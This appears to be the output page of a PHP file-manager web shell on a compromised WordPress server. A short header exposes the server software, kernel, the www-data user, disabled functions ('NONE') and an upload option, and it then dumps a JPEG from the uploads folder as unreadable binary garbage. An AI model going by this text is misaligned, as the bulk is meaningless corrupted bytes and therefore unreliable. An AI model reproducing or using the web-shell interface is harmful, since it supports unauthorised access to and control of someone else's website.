HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux sanjaymanandhar.com 6.8.0-78-generic #78-Ubuntu SMP PREEMPT_DYNAMIC Tue Aug 12 11:34:18 UTC 2025 x86_64
User: www-data (33)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /var/www/html/wp-content/uploads/2025/07/pexels-polina-kovaleva-7163326-scaled-1-200x300.jpg
���JFIF``��;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 82
��C				

!'"#%%%),($+!$%$��C				$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$��,�"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?�AR(�R(�0�G�z�qJ��ɖ���<S�0x�H��
��OZb�x�@���-f��:S<t�4
���zS��-<R))I���B�Ph�.� �֤Z<R��i�iPjE<TAjAHd�jD�SR���8jPi��"��
B�jE�	)qM��-%��ңS����4���N�Ri���Rf�����(�Z~j5�
b$V����8i�p��ӳ�C:ԣ�B�S@
M�=h�jE<TJi��@K֣�_-�)z��\R
p4L�N�p����6��h�҃L�F4P#�^���i��!�u��Ph �f�
.iz��N*<Ԁ�ɠi3@�	:���u�c�����!����AN�IҤZx�II�3@�:T`�ցJ(4
S�&h4S��Lc��-8u��N��3�A\P��"�^� �=EH��Z�hqN^��J4�R���Ji��@4��@�H�
��`<�M:�@	�jT9	�#4%8S3J(�M4���Ƣ���luGN�)�5���4����H�X���=�^�EԥP�cpA��H�����F�߲��Qy���"�T�cM
��N�zӺ�P�Hb�����Z��S�Hh�G�vh���
(4��4�j-��jKHM&h�0�M'P#��*!R
H
lxs@����ی/Ws�EbA�k�Y�Gg��s�y�'y>ݪ�iXά�#tjx{��f�
��n�8�5�-����f�xܠ���z���О���B�u��
d{��3Mcsc�C��NYc`v�����4��Z:���]K$�,n�8�?W�Su簜J�?_ν(_�|��֭�$s.T�*a=����t��.Cݻ�Gr8?�W�����[��w��}Ey����>��O_)�~��5��1)�#�
4��{eqa1����fZ�:n9i��0S��C�R��j�s��"�����OA]���4+Q����A�g���ZeJ
z����"�:g���V6���ϥ^+�gː��Z�/j��.�z���:�L��w���u�T�Ad٤-L��L'4SI��9�i�� i��M�JX,{W��/�[�
ٜ��+�ׂ�Hc�����~
x�~�l��>u��NJ��S��=�)�2*8� zTݫ�G�bk����O��(�.��Z_;Y�r\�״�C�8�x��4w��'Yˎ��1�T��3
m�$zy|��X�h5Y��ؗWM��U�R{�U�x��	V6��Ұ<1���쵸�2.C�kj���݀�HQ��,l?:����������­��ڭ���ଵIb*��9���_Z�H��Q�'�z��#ʝ	'tX�<7c����B���"��Ğ	��ݥ�L���Q��g���ã
Ess!GP�z�N�%%t*u\��3�RF�GTX�+��g�����9h�~��؃�ʥJ>Xخ9����և�i6h�-��+��O�W�N�85nMGN����M�6
B˗9a�ְ�����ƞ��`�	���Z��|b@�`sך��;x�O�W�#�zT���T�T)�i0���Wp���=���d� }k̼Kỏ�yo����OQ�MYc�L��z��)ڞ�i�]&��Im�tL�Tֱ|�}D�����,�����O�T{���8�)����x�)�V��H��63�K�q��Z�����*VO6���\իe#�S���Ks�R�Q��xX2���k���?
�d���n_�����^���NA��%iw[�i�2�)"����:T��52�1�t5ӫn�S��T�L��ũ#�%���U�ndk{�y
�8��@�G�$ף���.�	>Q�+�=j�>��w�ӣ���A��8S�\V�v�6�c��H�Jɺ9w$�;��ׅ*n���mIU���孭Xݳ3��1�ֹo�v���R��(s�h�f��
ji�}\I�(%�EejV)krm�I$'���+{%�9���Ԇ�\��m���<Ќ��+[F���m�Z'^��+�3gy(z�=a�M%��Dn2
i
���C9�RZ�OD}v�"��\��t�K���-J�褸�\5εw��a��'�.v23���Mj�ɫ:n.�=᷋��x�F�
ǵz�7&	���E|���+��B�朢9�!�+ƥ�Te�-:>��ڸw/~��^6�AO���c,�\��Kc�����27Uc�^:}�̯�d}k�MU��$�g#|�IX����F����b�gg=Ը@�sL��72�]&���>!��6�����o��==+�
E���|�{lp��ȹ���t�Fa���[���i���:	�QQo���w�XԳ0z�#�;db6��cjS��'-�³��k�4�S�U��:x�[9��5Lܥ��ȃ�@�2��cO��'�J���-�F�n���׶�dV*A�E{���G��%�ĀN�����$�h��֙t�S�ѶA�8�19S����⦹Y��2���q^y���[G����]���"���Տ4N	�pvd���O��`��|?�L�M4\L��_>���=F{W�8��xn�^����$R��C�GM�p��7�ǏxB�Q�oZ9�<m�&C/bƻ��k]R!x�<�8l��W�k^����4����ڝ��޳�=�#�:W�������%Y��^Ty�>Z�CњU5=λPXe�*Ђ烒Es���/��ceT�-���]3�R\��{C���Riz=���j.�,ef���֩^r�!�1w8k����aׂ+�մ��b~F��mF���f�j~I���¯�ɫ�?j����R��.����"��_��1��mg����ҹ��h�<�6(<t��V���:h�q���j3�>?t^#�/�ye�W3��v�$�Cɬ=:	�[���b�&����F�gJ�&��j���b)�g���)�x(ޒ�|�J�M6�ˆ��m1�K`g��b�P���5��jb\�<�U-mq�ǃ\����Y�ݴ�����^�dw?�s[��lb��]Xrf��&6��%s��b��w�]7��|7r.-�m&l����xIM]��5�s�+9Њ�o���=g��	����T`=*�9�j��J� �բY��L$E`z��)Ee�����
&��)���B��
yu��#������k/�*M����5���hc[mBPXּVk!$x��>���`�+�e�6�z��n�7fn���]�z�:��w>��d�Yk��x��H�r��'�ҽk@񝆱�0G/�I��.g
����[(j�GK-�r��z��2��I��A+r�����8�ȩw��T�
��F4�ʛ�Y�څ��uK)<�-d`���,{{V���{",�`���gᇷ��M��	��%q��{�K} +���~�q\T�'�Ϭ�Q����i�_�1'�U�G"��v�vFkЌRV8d�fT�Lm�"��<?�b���+���Y�����
��c�Vu)š�M=�|Ub����n�p9^*
9���`�*ԓ5������3}�@c�~�^{Şڍ�h��u���c�]&�|.@�5��Fx��>�1�o¼|F'x�FM����ٶ�|۫��N2+�е�y�
�b��@Y��Y(��a��_�m!�tyl�@$�s?�(�w�lz����D᏿�Ez|T ��'	7��~!�5߄�K{�Z�O�:�v5�^i�����;�_�[[���X�R������U#�c񯟠�U�d������&�{)��Z T
��}�!wc<VĻT��
g\�m�Ϊ}�8�BI�*�t��;Q Rpè�9�y�iȦ���N�jRU#fg	�3���:��N�ƹ��u	p�H��x�E���fu�I3wU�G����8a�6z�u:��Fw%H涴�^HYp�#��'M�Ɠh����)=YS,?O[]2I��hc��;��kզ����)7c?��,��#��;5w�_��o�w�-��J�u/����g��0��bJ7�ɭ��m�[\��x��5X|v"����fsV�Ӗ���i�c�H�ӞE^KW���rGֶ���ۘ��#����.���p�g�=	u3�5r}�b���B��25��X���y�u+�M��~��Y�;��u�\G��+��=Ώ}
�w,,T����h���.��8P&��|w��J���w�Yד��(R��י�g��j���[��m���2�7��?2)��Q[Ȯ��q4�9�*�Q&��kSOC�y�TW����^ugu��:���H5���N�Mpv!���Yˌr+�I�$��O�]��g�g��j�#x_J+�py[�>j�elW,�N��s��>K��#�_:�{_��I�j�:=���j�ip3�7
>��U�gJ�aż��v�\-���S���dR3JF�G֣9=Nj�i�މ��R	GT?�t]ٕ6Ջ'��XS��O��h{vC�
t>���̄��[��rF�z^Ң�5���E�%ڃ��5�~��!2���� a]��_5	' ���Ki#��E/t��O�1<�#�k��/����6���xr��Z�'x'�1����^:�f�|u���!)7��|ŀۨ��i��G�Q��e�U*����\��V)1�q����T���8#_�[���r����S�rj �������}kԚQ�h�ľ�ʕ>�
pН���W��k��f�ٞ��K#mR�WS`6 .��5��h+��@�tR*9P�@	��M���Y*42���0�W�����<�W��s�ٸʰڼ
�u�ܨ��oJ�x���[U����(�O���J�7�O��G��n,��Q��*bcot�u���o�M���{j�³[��:��<�Ʊ��	�Z�}�Y]�"ܢ��s^ǰIZ:~��*�鷱d�|
u��qdDs�`w���>ir��+��QO�H�E�X��K��%q��.�g���|U�o�N���T��$���P��A��ÝE�Β�&=�7k�Yd$l��F���b�I��q^�a�y(70c�O�l"����r��V�N��*�1�޵�*�E��ȫ��Ֆ�l1\�>��(����Hɢ�4�K��5[G����c�y��5��rD�r�:�ֺ�g1	/����G{��p'�qSʒ��N��
��H�TŬR.
�+Ԯ�3�U/Vm���Fq(ʃ�'S<�B���ON�cK�v�X���
E=�Z Q|�k+�$zE�ۏ����Ƹ�ԛ�����*���7� ��wՋv*�ׁR7��~�=S��[Ig(xj���:��x����B���#��+���]e��A��Q^M*��9C�6�IM�-���I�pm�+����͖(�vF�W9��N��Z@P(�U�gđ�c܄�_����޵��*{5�a�����+U�j"Ev$g�����#���F\��|E��J�Eh�܌��~o�]�:���#���k�x8�d|��+ݛ1���K�� �mq�F�0X�9�Z礼��H�Q��w��̺�l-Ѽ�F��uV��N�\��u-R�J�W���p��s���k�����"�(� �����	��#2�wC[��N���kX�5�2�
�v6���)V@Ha�Ӓ\�j��f�՞7b��,�R~��u�g'�0ROC�Z�͐�G+�l;���!�M���Fq�v�<�XFrs�=*'��D$n ��N�܊2�{Db�)�XpqZۨ��������.ZI�A,2n��n��I��+�Z�}n�[m�Ը	�h�L�U#*���(��i�ͱ/���W�����|��r�\ڴ,��
���U�W��(�S�ңJ�:��4��s�Ұsf�(ꭼMk.�ϡ Su}v��٥W]�0q��^��շD�V���2�sM!�$�����1��N���{�wu��{W��2^<6�l���o�e�<�\����Tfg��T�h;r��?[�P�)�=�f����
p���yM^�FF;����[|.�}sZI\�;YH@A�è�I��=���
�ӎ��\-����`���9n�ՙEt;�2i/'X`��y��=O��z�&��4�/���n���F���S��^OԚ�gw����E�!�҂�=k��B�s�_�Nj�:�l�=L�|	n�ח+u|���?�QԚ���>3���?D�(��&Gҷ�<9e��GN�h�C��:v
v6-�FW���׳I+d�6�%��ߍZ�%ݔ	�$�����.5��_���[��{פ��=�j8��%�L�!Ef���B$���p6_�5"5��leI��4��4�i:���1�D��ߌ����@�$�)�3���'�W*�JmS��&�v[�f�P���j<M��c���"���"��[Kk�ǫ(�ٲU%�w���Y[r��0x��>��vڻ�1�����R�E��cn>!Ko������D
�����&�6���nn��Y&W�[[7�
�N�o��ǠjR����[jVg��W�Gzʏ���I��H��P��$b�Z�Yu�|��6���='AX�$�/̶郌v,q�[��~�g;$�x�W�匥����S趓�@�%�1"�N���2�!��1��ǫ"R茿�A�Kkպ��@��Y��qEl��<"G}�:�QU���\��s�P������,�Y�C�qӭvsX��J����5�xw�����Y=��LUd�A#�\�_*�6��vA{�H�n1�϶s\�΃Jۡ��a^�m�v�W~���m*r\����R4�[�|5���뎕Jo��q�$�������b����OWlQH܂i���<���ͅ/�p0;��\|/�m�h�O-��0k�$������Q��/9�O�٥�U;�1��u�淍�S&����9�ST��pT�~�����ė��q�3���l�	@:Vt���eF��;������Dݜ��<�XH�ƫu �̕���Wsd~��(Fy��b�@��۹�ǥCi��'���7�����H�C"G��@#Pq��m�(�G�*��=�v86{��Y�ܬg���F�O��dV���L$HĬ�>��d"��)p��J�2�>�皲.f\^K�mi�'8�XՇ���k�Zş��ˍJB�l(ҤY�Ұ�֧�W�����5'��.��6�	g�)�x�\d�9'��AfRx��F9�n���\#ƛd1�;�=�Y2Co"���y�c���S�ڣ[���3s�t��{{߶�n��ps�AH�]"ʮ��V+�ZKol�c)��w?_€)Gwq�8�f��	��V�2mo���c��]E�̬�B�1���
�� ���0�0z��SM�@-��
�C�����;\Xj��H�t�֯a�5���bCz�׽i�,�=��� ���7��{Oj17N�ι+C�+��c�7�A��P̐JG(�s]��Z�[̤{5|��7VA��H񎩦̢+�U~��$����~g�
nXp�>���i�F��ܒ��3^A��`���*΃�x5�i��]���i�C��E)��v�q�W)R�񚵧�j�_iȇ�[5�c�SI�m����8<}���U>�S�����u�Q�s��>���,'L��z�x�H`[�q:�җ��.�Ï\֪k����{3[��*
gǡ=��$sF��<�\ohk�΢��ZM��"Ϡ��m���]��OEp�F2X��Y�
,H�������?�_�*.Q��\�/�+A�~��������
F	������z�l�b�������V)<-�$��R���9�Z�E�%A���qU���S�+�""��j�u�&�w"j+��V�H�7�[���٦X�aQ�w�O��z���h�Ga��H#M��{�Ē��9�{(!�-�x����8ܕ�[��>�@��:�,������pyɫz��M4^&�"��c�I`�P�K�嘨�n���ci�<�cB�‘��I�r$Q�
Q�3�h���ք�
�p3�ր(vE(>e��y�Fx������GQ���2S��J�E�76GT0�s
�0=�(�Z	��tu���W�|^�
�����47c9�Uw�U�>{Ơ�u�cO6w{d�l�=��gO%�G)I�J���]U�kq�����犉��m�[vс[62
�3\�(@��QK�n-�¥$�͗����j���֥��H�1�kGY"�с`) �h[qc��<�&��tW�KepҤ��W=*	/��[#ҳn_�j$�ϥ_����"�Q�Ջ��]K�����M���K�Zf��dc�MEiq����`��Z�8w=��]7A1�~RN=�K�eⴏ�q��p+v����kw�];;��'ʢ�_x7K���m����y�ֺ�_h���)��wwnc@~h�V��Xᶍc�(�u��o(�q�f�J�\�Nv���
j
�ͻ��L�nt�JXN��pۺ�\V��9?�n�ۦ2�
h3+Z�[�ؘ~�z�F�,��@�U�98����8����>�e$#���,[ �~l����N���d�z���1��ծe[���Kd��
�#O�.��;R�pJϵduYb!I���9��x�4ˈ�-�F@��EGgi5����(�ɍ+�9���k�}*�;5CV�-�]Ȥ�q+,�w�9��v����*l
����3%ol�J���4�x4�����q\ق�'N��X�t,yM`+�?x��+H�gT��\�E1�iv�p�W=��𮷫�x��=H�w��qȶ�}�����%�(��J�QKQJL�/�^y�bo�����^��ehcH��H�Z��Hm���毻��[�X�VY@X�W�P�x�/ݰ
]��B��$w��/��J��5@k^H�=1\���!1�;�+�$Ȥ75Z�5X�QҘZb�2�'�Ȯ�	KF�ֹ}=wjh	8����DYz���g zȜ[�&CsӯJД�Гְl�|�y9�`�q�m���'���k=Πb�A��ֺ�#aֳxXun��&�6�
��j�4WU��B��N�z��. �QM�;�����